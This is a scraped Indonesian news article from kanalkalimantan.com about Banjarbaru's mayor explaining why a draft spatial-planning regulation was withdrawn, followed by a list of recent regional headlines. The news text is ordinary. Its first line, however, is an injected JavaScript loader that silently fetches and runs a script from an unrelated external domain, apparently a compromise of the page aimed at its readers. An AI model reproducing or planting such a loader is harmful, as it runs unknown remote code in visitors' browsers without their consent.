(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Raperda Tata Ruang Wilayah Batal Diajukan, Ini Penjelasan Wali Kota Aditya


KANALKALIMANTAN.COM, BANJARBARU – Satu Rancangan Peraturan Daerah (Raperda) Kota Banjarbaru harus dipending karena tidak memenuhi persyaratan.

Pengajuan digantikan dengan Raperda tentang perubahan atas Perda Banjarbaru Nomor 30 Tahun 2011 tentang retribusi izin trayek.

Berdasarkan Pasal 76 ayat 1 huruf a Peraturan Pemerintah Nomor 21 tahun 2021 tentang penyelenggaraan penataan ruang pengajuan peraturan daerah kota tentang rencana tata ruang wilayah kota dari Wali Kota kepada DPRD.

Diterangkan Wali Kota Banjarbaru Aditya Mufti Ariffin, ada dua persyaratan yang belum bisa diselesaikan, sehingga Raperda tentang tata ruang wilayah tidak bisa dilakukan pembahasan sampai persyaratan bisa dilengkapi.

 

Baca juga : Ketua DPRD : Segera Tindaklanjuti Tiga Usulan Raperda

“Ada beberapa persyaratan yang belum bisa dipenuhi dan akan dibatalkan pada Propemperda tahun 2021,” ujar Walikota.

Dua persyaratan yang belum terpenuhi, kata Wali Kota, yakni validasi dokumen kajian lingkungan hidup strategis dari perangkat daerah provinsi yang membidangi urusan lingkungan hidup.

Kemudian, sambungnya, belum adanya rekomendasi peta dasar dari badan yang menyelenggarakan urusan pemerintahan di bidang informasi geospasial.

Berdasarkan kendala tersebut maka dalam Raperda tentang tata ruang perlu adanya Raperda pengganti agar bisa masuk Propemperda (Program Pembentukan Peraturan Daerah) perubahan tahun 2021.

 

Baca juga : Ini Dua Raperda Penyampaian dari Eksekutif ke DPRD Banjarbaru

Raperda tentang perubahan atas Perda Banjarbaru Nomor 30 Tahun 2011 tentang retribusi izin trayek merupakan Raperda yang diusulkan masuk pada Propemperda tahun 2021.

“Perda Nomor 30 Tahun 2011 ini akan direvisi dengan menyesuaikan perkembangan dan kemajuan serta kondisi terkini daerah kita,” pungkasnya. (kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : kk


Desy Arfianty

Recent Posts

Curi Mobil Modus Duplikat Kunci, NY Diringkus Satreskrim Polresta Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More

10 jam ago

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

14 jam ago

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

17 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

17 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

18 jam ago

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

19 jam ago

This website uses cookies.